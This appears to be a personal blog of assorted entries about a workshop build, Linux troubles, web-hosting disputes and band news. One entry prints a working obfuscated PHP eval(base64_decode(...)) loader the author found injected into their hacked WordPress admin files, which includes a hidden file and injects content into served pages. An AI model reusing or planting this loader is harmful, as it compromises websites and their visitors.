insulation & pegboardi’ve accomplished about as much as is possible for me to do without help… and possibly a ladder. the insulation is left over from an igloo stage-prop that was a part of a movie that jeremy was a part of producing last year, before i went to burning man. he wrote a message to cirquechat saying that he had this “dome” that needed to be got rid of, and it sort of fit into my fantasy of what a dome should be, so i said i wanted it. but when it was delivered, i discovered that it was not very substantial, being made of quarter-inch plywood and foam insulation, so i stowed it under a huge blue tarp at the bottom of our property and used it for projects like insulation for windows, knowing that eventually i would have a project like this to use the rest of it. now i intend to cover the bottom half of the insulated wall with sheetrock (which is just out of camera range on the right side of the photo) and the top half with pegboard. i came home from home depot the other day with two 4×8 sheets of pegboard, and i realised that i have never had this much pegboard – with a purpose – in my entire life.

in other news, i installed gucharmap yesterday, and when i rebooted, apparently my operating system decided that instead of running KDE, it was really set up to run gnome by default. which, of course, meant that when i rebooted this morning, instead of loading my pretty, shiny KDE desktop, it loaded the red, drab, default gnome desktop, and gave me an error message that said “The panel encountered a problem while loading OAFIID: GNOME_FastUserSwitchApplet. Do you want to delete the applet from your configuration”. after a good deal of whinging and complaining, and a good deal of forum perusing, and a little bit of inginuity, i discovered that i could disable automatic login and change my session back to KDE, whereupon everything went back to the way i expected it to be.

also, stuart has decided that he’s not going to play with the fremont philharmonic any longer. i don’t know what that means in the short run, considering that we’ve got trolloween and december performances of alladin, but it means a substantial change in the phil, and potentially the end of the phil all together. pam has said that if she has the choice of performing with the phil for no money, or going hiking, that she’s going to choose hiking. ted hasn’t been showing up very regularly for about a year, and katharine just had a baby, so there’s no guarantee that he’s going to be any more consistent in the short run. joseph just quit the phil as well, about a month ago. that leaves myself, sasha, kiki, and possibly kim, and i don’t know how much any of those people – myself included – want to be involved with building a new fremont philharmonic, especially since we’ve got a huge repertoire, for which we would have to come up with all the parts, or start all over from scratch. it also affects my participation in things like the moisture festival, OCF and the fremont solstice parade. i’m stereotypically worried, but there isn’t much i can do about it at this point, because, although stuart says he’s discussed his decision with simon (the founding clown of the fremont players), macque isn’t even back from burning man yet, and i haven’t even talked to the other members of the band… but i’m stereotypically worried anyway. i hate to think that my ability to attend OCF (for example) could be affected by stuart’s quitting the band, but there it is, and at this point, there’s nothing i can do about it.

something has gone awry with the CSS part of the admin section for my wordpress blog. i logged in a few days ago and was greeted by a bunch of mysql errors and the blog’s admin page made with no CSS, and, to varying degrees, it’s been that way ever since. i suppose i’m going to have to do something about it eventually, but at this point the only thing i can think of is to totally replace everything except the database.

[UPDATE] i figured it out, sort of… all of the php files in my wp-admin folder had the following code appended to the top:

eval (base64_decode ('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9oeWJyaWRlbC9wdWJsaWNfaHRtbC9wcnp4cWdsL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbWVzL2FkdmFuY2VkL3NraW5zL3dwX3RoZW1lL2ltZy9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvaHlicmlkZWwvcHVibGljX2h0bWwvcHJ6eHFnbC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19'));

which, when decoded, lead me to a file in /wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/ which was a whole bunch of script information that was base64 encoded, and a couple of IP addresses.

i’ve got the information more or less removed from the files, and i have deleted a whole bunch of suspicious files, and i have yet to discover who the IP addresses are, but when i do…

moe and i spent all day cooking yesterday, and today we have a freezer full of lunches and dinners. if things go as we’ve been discussing, we won’t have to cook again until next month.

i’m putting insulation and wallboard in the workshop. after that, it’s just a matter of moving in and unpacking the workshop stuff that i have had in storage for the past 4½ years. woo hoo!

nine minute response

so at 10:28 this evening, i posted the following advertisement to craig’s list:

i have two computers, i want musical instruments

I have:
One clone PC in a beige box with Kubuntu Linux, AMD 1.5ghz processor, 800mb RAM, and 6gb hard disk.
One turquoise G3 Mac desktop with a Sonnet G4 upgrade, 800 mb RAM, 6gb hard disk and 18 gb hard disk.
Plus one Sony Trinitron P1130 19″ monitor, one KVM switch with 2 sets of cables, one PS2 keyboard and one USB mouse.

You have:
Woodwind (serrusophone, bassoon, tubax, bass clarinet, alto flute, or suchlike) or brasswind (valve trombone, double-bell euphonium, helicon, fluegelhorn or suchlike) instrument or instruments that you can’t play, are unused and/or unwanted, have sat around in the attic or closet for 20 years, or that sort of thing. It doesn’t matter if it doesn’t work for some reason, because I am a musical instrument repair technician and a sculptor, so if I can’t fix it so that it will play again, I can make something else out of it.

Write to me stating what you’ve got and we’ll work something out.

at 10:37 (nine minutes later) i recieved an email message from “Metallica” which said:

willing to sell just the pc? or just the processor and ram?

i wrote back to them at 10:44 (sixteen minutes after the original post was approved), saying:

i don’t want money, i want musical instruments. if you’ve got musical instruments, then we can talk.

we’ll see how this plays out. i’d be willing to bet that they don’t respond.

a sigh of relief…

so i bought a new computer yesterday, and spent most of today getting it set up and running. apparently there is some specific thing that toast avoids doing, resulting in my burning no less than 3 install disks which didn’t boot correctly before i switched to disk utility and actually read the howto for burning an installation CD. i bought a bare system from a local place called InfoTech – stereotypical name, stereotypical geeks – and they didn’t have a problem building a system that was according to my specifications and not installing windoesn’t on it… of course when i had some problems with the install disk for kubuntu 9.04 they couldn’t help me, because there was nobody there that “played with linux”, but they were helpful in that they demonstrated that it was my disk and not the system itself, so everything all worked out in the end. i’ve now got a PC clone with an AMD 2.6 Ghz processor, 2 gb of RAM and a 250 gb hard disk, to which i have added my old 200 gb hard disk, my old external USB CD/DVD writer, and my colour inkjet printer. i also bought a 17″ LCD monitor with the money i saved not having windoesn’t installed, and the whole thing came in just under $500.

the strange parts are that because of the fact that i manually moved my mail information from the old disk to the new disk, kontact announces to me that it is apparently already running on fig (the name of my previous machine, the new one is ginko) and that running more than one instance of kontact may result in lost mail. i’m not sure how to convince it that it’s actually running on a new machine, but fortunately it allows me to run it anyway. also, very likely because of the fact that i didn’t restore it from a backup, all of my old mail disappeared, all of my address book entries disappeared and all of my feeds disappeared, but those are only comparaitively minor irritations. also apparently the new amarok doesn’t exactly agree with the old amarok, and i’m not exactly sure what to do about it, but that, too, is a comparatively minor irritation.

on the recommendation of st. ian, i’m going to reformat and reinstall the old computer with hardy, and i’m going to wipe and reinstall my old, os9 mac, and trade them on craigslist for a musical instrument or two. the fun part is that the advert is going to read something along the lines of “i have this computer and that computer and they’re both functional and have this software on them, you have a musical instrument or two that you don’t want or can’t play or for which you no longer have any use. email me and we’ll work something out”. basically i’ll let the customer determine what they think a PC and an old mac are worth, and then trade me for musical instrument(s) that are approximately worth the same. the bonus is that i get rid of the computers and i get a new addition to my menagerie, and i potentially get a new helpdesk customer as well… ๐Ÿ™‚

so…

i actually was IP blocked from cshelpdesk dot net!

in spite of the fact that [email protected] (who is undoubtedly nathan oulman, or one of his minions) said “we dont block anyone from anything” (his exact words), according to tech support goon “Zac O.”, “Your IP was blocked by the servers firewall. This has been unblocked and you can now access the server again.” apparently their server is set to block the IP address of a customer attempting to log in “incorrectly” (whatever that means, nobody has told me yet). it’s very definitely not an using an incorrect username or password, because i allow the browser to remember all of that stuff because i know how clumsy my fingers are, but nobody has seen fit to tell me what it is, other than “incorrect login attempts”.

not only that, but i’ve had to reprimand the tech support goon no less than three times this morning, for closing my issue without answering my question. the little weasel is not going to get out of this without giving me some answers. 8/

at this point, it’s not anywhere near as bad as it was yesterday, but still, i’m thinking very strongly about switching host providers again when my contract expires.

OY… 8/

more computer miserableness abounds… ๐Ÿ˜›

as of yesterday, i was going back and forth with tech support about that random mysql user that i found a couple of days ago. i had just found the solution when the tech support goon abruptly terminated the email conversation, and when i tried to refresh the page, it timed out, and has been timing out when i try to access cshelpdesk dot net from my network ever since.

however, today, i discovered that not only does everybody else actually get the hybridelephant dot com site, but they can also access cshelpdesk dot net without timing out. in fact, if i try to access either site using the neighbour’s wireless network (hooray for unsecured wireless home networking!) i can get to them without difficulty, which makes me think “IP block”.

what makes me think “IP block” even more is the fact that while i was searching around for more information about cshelpdesk (which has email address contacts, but not a telephone number anywhere that i can see), i came across this blog entry from flatsurface dot com, which is a stunning review of nathan oulman, the apparent owner of anrhost.com (my host provider), dailydns.com (my host service) and cshelpdesk.com (tech support for the previous domains). the part where he says that stuff about “[t]he second time they caused a significant outage for my domains, I bitched. Their response? Block my IP from the support site, and later they simply disabled my prepaid account, in violation of our contract.” struck a very familar, and somewhat ominous chord.

and apparently it’s a very specific IP block, because it prevents me from seeing the database at Hybrid Elephant and all of cshelpdesk dot net, but it does not block me from seeing The Church of Tina Chopp or Cirque De Flambé, or any of my other domains, or even this site… this does not bode well, and i get the very distinct impression that i’m going to have to switch host providers again, as well as replacing my linux box…

which, by the way, i was out pricing computers today in order to facilitate. i discovered that if i want to buy a computer from frye’s (or just about any “computer store” like that), basically, i have to buy a computer with windoesn’t pre-installed (from the factory, so i can’t “leave it out” for a reduced price, but they’re not strictly “legal” versions of windoesn’t, because they don’t come with install disks or any way of creating them). for a windows-pre-installed complete system (CPU, monitor, keyboard, mouse) i would end up having to pay $500 to $700, which is sort of what i expected. they have “bare bones” systems that don’t come with windows, but they also don’t come with memory, or a hard disk, or KVM (keyboard, video, mouse), and they’re $200 to $500, or i can buy a “boot only” box from Re-PC for around $100 that needs a KVM and some other stuff, but because of the fact that the “boot only” box is used, there’s no guarantee that it’s going to work as long as a new box would. the final option is that i can “build your own” box that uses essentially the same components as the $500 system for about $100 to $200, but that would mean finding a system that i like, researching the components and purchasing them separately, and then putting it all together.

which i can do, but, ultimately, i would rather not do it. as i told the guy at frye’s, i’m not so much interested in building a new machine as much as i am in obtaining a new machine and using it.

every now and then i have to wonder why computers are so complicated… then i remember that at least part of the reason is that they are created by the most infuriatingly dense creatures on the planet, and they are very much like their creators – although somewhat more predictable.

which is why, i suppose, i am more at home with computers than i am with most people. ๐Ÿ˜

err… umm… oh.

i had some sort of computer interruption last night that prevented me from figuring out this whole user 123 phenomena – apparently the server got hacked last night, but they TOSed the cracker and went to good backups within 15 minutes of my complaining, which is something… i’m not exactly sure what yet, but it’s something.

however, apparently the mysql user 123 that i deleted yesterday was important for running my oscommerce installation… which worries me enough that i’m going to figure out where it’s configured and change it to something else, because, first of all, having a default user 123 is enough of a security risk, and second, there’s a good chance that i’ll forget that user 123 is important, whereas if i see a user “ekadant” (for example) i’ll realise that it’s important and not delete it without figuring out what it is.

oy!

i was poking around (yeah, i know, bad idea… 8/ ) in the control panel for hybridelephant and i came across this thing that lists the mySQL databases and users of those databases that are on hybridelephant.com. it listed the two databases that i use, but it listed 2 users whereas i’ve set it up so that i use the same username and password for both databases… which i found a little suspicious.

furthermore, the other user was named “123” which i also found somewhat suspicious…

in any event, i was doing something else, so i deleted the user account “123” and went on with doing something else.

bad move.

now, if you go to hybridelephant dot com, instead of seeing the site, you get this error message:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user ‘hybridel_123’@’localhost’ (using password: YES) in /home/hybridel/public_html/includes/functions/database.php on line 19
Unable to connect to database server!

i recreated the user. no luck.
i recreated the user with the password that was indicated on line 19 of /home/hybridel/public_html/includes/functions/database.php. no luck.
i reloaded the database from the backup i made 2 weeks ago. no luck.

it’s well and truly broke, and i done broked it. ๐Ÿ˜

oy…

so i started up my linux box this morning and it told me that there were some system updates that i had to download, so i downloaded them and then it said that in order to use those system updates that my computer had to be restarted, so i shut everything down and rebooted…

and when it came back up, it didn’t work!

it put up the login screen, like normal, and it accepted my username and password, but then, instead of loading the desktop, it loaded what looked like a transparent graphic, only it was full screen, and a mouse cursor. no task bar, no menus… eventually a window popped up, associated with the HP printer, that said there was no systray, so whatever application it was associated with was no longer trying to start. i clicked OK – which was the only thing i could do – and it went away.

so, i hit Alt+F1 and logged in to the text interface, which it allowed me to do, and typed sudo shutdown -r now and it rebooted again. this time, instead of the transparent graphic, it stayed with the login screen, but again, didn’t get beyond allowing me to login. this time, when i hit Alt+F1 and logged in, it said that the system was using 95% of 5.9G, and the /tmp directory was using 100% of 1G, the total of which, if i’m not mistaken, is slightly more than my 6G system disk.

fortunately, my /home directory and my /music directory are on a separate, 200G disk. apparently my OS is bigger than my HD, which, technically (i suppose) means that if i got a new, bigger HD, everything would be copascetic. once again, the battle of the computer has raised its ugly head…

i was just discussing this probability with moe the other day, because of the wonkish behaviour of my monitor, and i pretty much decided that i’m going to go out and buy a new computer system at that time. it’s a good thing i decided it then, because now i’m absolutely certain that that’s what i’m going to do.

it’s going to be a desktop computer with at least a 200G hard disk, and an LCD monitor, and it will not be a computer with windoesn’t preloaded. i don’t know exactly what price i’m willing to pay, but $500 to $700 doesn’t seem too out of the question.

HAH!

based on what i have read in a variety of places over the past 6 months or so, i have apparently been one of the few negative interactions with 1&1 which have had positive (to me) reprocussions. i just received a phone call from a very pleasant sounding lady who was a 1&1 representative, who wanted to know why i had cancelled my account. when i told her about being bait-and-switched (i only told her an abbreviated version of the entire, sordid story) she agreed that she would probably have done the same thing. then she asked if there was anything 1&1 could do to entice me back, to which i responded “absolutely not”. what i didn’t say is that i would find it rude and insulting if they offered such a deal, and the fact that they offered it made me think even less of them that i already did. i may have been sucked in by the very big stupid, but i learned something from it, which, i suppose, is the important part.

grf…

the paypal module suddenly decided not to add the shipping to the total when people use paypal to check out. it’s always been somewhat wonky, and has required two separate emails and usually a trip to the administration interface, or to my paypal account to figure out exactly what they paid at checkout, but until now it has worked more or less. now, it’s definitely headed towards the “less” side of things. oddly enough, i know practically nothing about how the customer gets from my web site to paypal’s web site and back with presumably encrypted payment information, and now it’s cropped up and is biting me on the ass. i don’t want to have to put an extra page in explaining why i am deficient, especially since every other online company seems to do it more or less seamlessly. i suspect part of it will involve buying a SSL certificate, but i want to examine all my options (of which there may actually be none) before i spend the money to do so.

hee…

so i got another letter from the attorney general for the commonwealth of pennsylvania today. it contained two letters, one from the attorney general’s assistant who was assigned to work on this for me, and the other from joseph quinn of 1&1 internet inc., which is the amusing one. it says:

I am responding to complaint B09-7341 filed against 1&1 Internet Inc.

We understand that you have been unsuccessfull in attempting to cancel your 1&1 internet account.

Your customer ID 19710337 was locked onto a 1-year contract upon the account’s registration. This was a special deal that included discounts and other benefits, saddled with a contract of one (1) year.

However, we certainly do not wish to continue to bill and invoice you for a service that is no longer used or wanted.

In this, was [sic] have set customer ID 19710337 to cancel within the next two (2) weeks time. You will not be billed or invoiced any further for this service. We are currently removing all your relative information from our internal systems.

Furthermore, we can see that you have been trying to cancel for soe time.

As such, [sic] we are refunding your two (2) most recent invoices. Both refunded invoices are for the $59.97 amount. This would bring your refunded total to the $119.94 amount.

Hopefully, this will resolve any outstanding complaints that you may have.

let’s examine this a bit more closely…

i was unsuccessful in cancelling my account, because after repeated attempts to do so, your employees refused to listen or respond appropriately to my requests. despite your claims otherwise, when i signed up with 1&1, it was with the understanding that i was signing a three (3) month contract, and the first i ever heard about a 1 year contract was after i made the second payment for 3 months.

at the same time, if i had known that it was going to be this easy to break a one-year contract, i wouldn’t have rasied so much of a stink about it, and simply written to the attorney general when i first had my suspicions that i had been bait-and-switched.

i am currently under a one (1) year contract with my new host provider, which provides me with better quality, more reliable and more industry-compatible service, for around $85 a year. if i had maintained the one (1) year contract with 1&1, i would have had less reliable, less industry-compatible service with a greater possibility of being blacklisted for sharing an IP address with a spammer or a phisher, and i would have had to pay around $200. if that’s what you call “discounts and other benefits”, then i suggest you invest your money in a quality english-language dictionary. it might help with your grammar as well.

i don’t have any complaints with the resolution of my claim, however i will still recommend against using 1&1 services to my clients, because i disagree with your sales tactics and how this complaint had to be dealt with in order to reach this conclusion.

rejoice!

tuba player of the djinn

1&1 internet has decided that i really did have a contract that was only 3 months, because they have decided to release me from that contract, as i requested, plus refund the last two invoices (totalling about $120, hooray!) and no longer hassle me about having a contract that expires in december…

of course this happened after they were contacted by the attorney general for the commonwealth of pennsylvania (where they’re located) and by the better business bureau…

i wish it didn’t have to go this far, but at the same time, i’m really glad that they didn’t push it any further, because i was prepared to get really nasty with them, and i doubt that it would have been pleasant regardless of how it came out.

in other news, there are now pictures of the oregon country fair online. there aren’t as many pictures as last year, but that is primarily because it rained sunday and there’s only so many pictures of wet, muddy hippies that one can take before it starts to get redundant. my physical birthday was while i was at the fair. that day, i played two shows for the fremont players, plus i played an open mike at the morningwood odditorium, i played the midnight (eastern time) show on the main stage, for which i got a custom-printed bandana, and i played an 11:00 pm show at the ritz. all in all, i would say that it was one of the better birthdays i have had in quite a while.

the latest piece of the 1&1 fiasco

i figured that i would file a fraud complaint with the police concerning 1&1. my experience has been that frequently the person who goes to the authorities first is the one who gets the authorities’ sympathy, and if you don’t go to the authorities until they come looking for you, even if you’re the one who is “right”, they have a tendency to look at whatever you say with suspicion, simply because someone else complained about you.

so i called the auburn police department to file a fraud complaint. even though our address is in auburn, the auburn police department doesn’t serve our area, because it is in the “unincorporated area” of king county, and is, thus, covered by the king county sheriff’s department. the king county sheriff’s department won’t take a fraud complaint, because there’s nothing they can do about it – despite the fact that fraud is a crime, they said that it is a civil matter, not a criminal one. they recommended that i file a complaint with the better business bureau, so i did. my complaint number is 0EC37-D0640-8140C-191A4-D2E85-C1D85-E0.

they want me to wait 30 days before inquiring about my complaint, and i’d be willing to bet that, complaint or no, 1&1 is going to try to contact me prior to that 30 day period. at this point, it’s a waiting game. we’ll see what happens.

ergh… 8/

ergh… although not quite as much ergh as last week. it’s been really hot the past few days, to the point where i almost feel as though i’m melting, or something like that. plus i’m still getting over being sick for the past month and a half or so. i don’t feel “sick” and haven’t for the past couple of weeks, but i definitely don’t feel “healthy” either… i’ve been short of breath and coughing intermittently, and while i feel a great deal more “energetic” than i did a month ago, i still feel exhausted a lot of the time. i don’t feel like i could do as many things in the day as i “normally” can, although i have been doing a lot of “normal” stuff that i couldn’t do a month ago, anyway…

i’m upgrading the stereo and putting in a PA speaker in Ganesha the Car, which is something i’ve wanted to do for a long time (and, no, this isn’t being done with SSDI money, it’s being done with moisture festival money). now i’ll be able to play chants and suchlike at parades and shows, which is good because i’ve got a show coming up tomorrow at roosevelt high school (it’s not going to be ready for that) and SACBO is coming up in a couple of weeks.

the fremont philharmonic has a recording session this evening. we’re hoping to have a CD ready by OCF.

i cancelled my account with 1&1 (hooray) with no major problems (cirquedeflambe.com hasn’t switched DNS servers yet, but that’s because wally – who hasn’t actually been a part of the cirque for 8 years or so – is the registrant, and he can’t be bothered to change it, a situation we’re trying to change, but not until it’s running on the new host server), although i did recall their saying that my account was set to expire on 12/08/2009 and i was tempted to read it as august 12, except that i’m absolutely certain that i did not sign up for an account that ended on december 8, and i’m still mad enough about their baiting-and-switching me that i don’t want to call and tell them that i’m not paying them any more money – in fact, conveniently, my credit card which has been used to pay for the account up until now has been cancelled (because of pipeline data) and if they attempt to bill any more to it, the police will get involved. so i feel like by not calling them to confirm that my account has been cancelled, perhaps i’ve gotten a little bit of mine back for their baiting-and-switching behaviour.

tee hee

Strickland, Jonathan. “How to Remove a Computer Virus.” 06 April 2009. HowStuffWorks.com. <http://electronics.howstuffworks.com/how-to-tech/how-to-remove-computer-virus.htm> 11 May 2009.

it doesn’t specifically say that you are less likely to get viri if you run mac or linux, but at the same time, all of the instructions for removing computer viri from your system are specifically directed at windows users… ๐Ÿ˜‰

REJOICE!

the battle of the computer is over! the linux guru (whose name is francis) and i got my computer working, after three days of mucking about in the inner (read “command-line interface”) workings of the underpinning of kubuntu. when you dig down that deep, you’re not running k/x/ed/ubuntu any longer, it’s actually debian, which is, apparently, a rock-solid piece of software capable of doing many things that k/x/ed/ubuntu screws up, or can’t do at all. it’s now running jaunty jackalope, after having the innards of hardy heron ripped out from its smouldering carcass and having kde4 and the latest linux kernel forcably overwritten. i’m not sure if i really like it yet (it looks way too much like windoesn’t XP), but i can probably get used to it, and/or configure the parts that i don’t like so that they won’t be so annoying.

progress?

i’ve discovered what the problem is with my linux box: i tried to upgrade directly from hardy to jaunty without going through intrepid first. it really wasn’t my fault, i just did what the upgrade application told me to, but that doesn’t make my box any less broken. fortunately, i appear to have found a linux guru on kubuntuforums.net who is the eternal optimist and thinks that i can probably rescue my box without having to reinstall. i’m up for it, but i would also be up for reinstalling if it doesn’t work out. meanwhile i’m learning all about aptitude -f install and dpkg --force-overwrite -i and other arcane goodies that go over the heads of about 90% of the other kubuntu users out there. and my linux box is still broken. oh well…

i got an order for 3000 postcards yesterday, which will ultimately be sent to japan, and i mowed the lawn for the first time this year as well. also i’ve got a BSSB rehearsal later this evening, so despite my broken linux box and my ongoing depression, i’m keeping busy enough that it doesn’t hurt as much.

ETA, 5:00pm: the linux guru i met turned me on to skype, which i now have installed on my mac, so if any of you are inclined to actually talk to me, i can be reached at przxqgl. we didn’t get very far, but i am more convinced than ever that we will actually be able to rescue this box instead of reinstalling it. i’m now doing a remote ssh to the linux box and running all the commands on my mac, which saves me getting confused over which keyboard i’m typing into.

HAH!… sort of… i guess… 8/

so my linux box had a bunch of package updates that it had to install, so i finally got around to installing them today, and when they were done, it told me that i had a version upgrade (jaunty jackalope) that i could install, and so i decided to install it as well. strangely enough, there was something wrong with the upgrade and the ultimate result was that it lost the mouse and keyboard, which meant that i couldn’t log in.

fortunately (sort of), i have the /home on a secondary disk, and i have my calendar backed up on google, so the only thing i can’t immediately access is my email database. i have access to my email accounts, just not the already sent and received email that i have on my computer.

so, the battle of the computer begins again, but it’s all a lot more under control, sort of, than it has been in the past. i have to figure out why the computer apparently isn’t seeing the CD-ROM drive on startup, and i have to figure out why the computer isn’t seeing the mouse and keyboard when it boots from the hard disk, but i have a computer, and a calendar, and the ability to fill orders (if i get any) without too much difficulty, so it’s not a reason to panic and run around like a chicken with it’s head cut off…

coming to the end of another moisture festival

i met ukulele dick at the moisture festival the other day. his “real name”, acording to his schtick, is Banjo Penis. i traded him a copy of serpentine for a copy of his ukulele dick cd and a copy of his “Dick Dujour” cd, Music to Scare Children by. i’ve been listening to them on and off throughout the day, and i must say, the guy is more than just a ukulele player. i also made buttons for him that say “Act Dorky, Live Forever”. i’ve got performances on friday and sunday for sure, and possibly saturday.

the big news, or maybe not so big if you hang out with the right people, i guess, is that circus contraption is breaking up. i have no idea why, but i can imagine, as with most artistic organisations like that, that there were some artistic differences somewhere along the lines.

other news: my SSDI hearing is the 24th. i’m approaching it with an interesting mixture of hilarity and dread. i got to see part of the forms ned was filling out earlier in the week, and he said about 10 things, of which i would think that 1 of which should be enough to get me on the “disabled” list in a perfect world, but because of the fact that the world is decidedly imperfect, i don’t know if it will help or not. we’re going to work on it some more after the moisture festival is over.

also i’m getting ready to be able to accept credit cards on hybrid elephant, but i’ve only gotten one order since i went live with the new site, so i’m wondering if i can’t put it off for another month until i get more of an idea about whether or not people are going to notice it.

despite the fact that i won the battle of the computer in record time – this time – i learned a bunch of things that i didn’t know in the process. the main thing i learned is that the intermittent quiet scratching noise coming from the computer is the power supply fan, which, instead of turning on and doing what it is supposed to do when power is applied, in fact, it rotates weakly, not anywhere near fast enough to be anything like the heat sink that it’s supposed to be, and intermittently emits a scratching sound that makes me think that it, too, is not long for this world.

GROWL!

linux computer is dead, which isn’t really surprising considering that is built out of spare bits and pieces of several other computers. i’ve ruled out the power supply, for two reasons: one is that i replaced it about six months ago, and the other is that i actually took my computer to RePC (where a lot of the parts came from) and had the guy check it out. he checked out the power supply (which lit up his testing device with green lights, indicating that the power supply is working correctly), but refused to look at it any further(!) because it was too dirty(!), despite the fact that it wasn’t that dirty and i have seen computers which worked fine and were orders of magnitude more dirty than mine was… still, i brought it home and cleaned it, but it still won’t boot.

unfortunately, i have a 1:00 call today and i’m performing until 1:00 tomorrow morning, then i have a 10:00 AM(!) call tomorrow and i’m assuming that i will be performing until 1:00 am monday, but i’m not sure because my calendar was on my linux computer and isn’t accessible, in spite of the fact that it’s probably still there. but one way or another, there’s a good chance that i won’t even get to look at my computer until monday, and given a perfect-case scenario, won’t actually get it working again until tuesday or wednesday, which means that i have to re-create my calendar somewhere other than my linux box.

fan fucking tastic… 8/

linux box is down. fortunately, i can switch to mac fairly easily, and the /home directory is on a separate disk from the main operating system, but i really don’t want to fight the battle of the computer again so soon after the last time. i’m a fair amount more prepared for it than the last time, but it’s still irritating as hell.

in other news, snake suspenderz played a gig at smokin’ pete’s barbecue this evening, which went well. tomorrow is my first day without a performance or a rehearsal in more than a week. i’m a busy musician during the moisture festival. two more weeks to go.

hee

i just found out, if you type grep -i mclain /etc/services into a terminal window on mac os x, you’ll get my very old and dear friend fred mclain’s name… apparently his name is on one of the port services that you have if you’re running mac os x, or suse. it doesn’t work if you’re running k/x/ubuntu…

flink

national kazoo day gig last night. it was a real pleasure to play music, but apparently there was some drama towards the end, after all the music had been played and we were packing up and getting out, but apparently not quickly enough to suit the owners of the cafe/theater. i was only partially aware of what was going on. i actually was already packed up and loaded out by the time it became a real drama, and i was outside, so i didn’t even see the drama part of it at all, but apparently sketch was given the bum’s-rush – after having just played a full set, and not having packed up all of his gear or gotten changed or even put on a coat.

we did sell three of our NEW CDs though! it’s so new that it doesn’t have a link anywhere yet… hobbit and thad were up until 3:00 saturday morning folding, gluing and shrink-wrapping the packaging… there will be a CD baby link when i get it. 8)

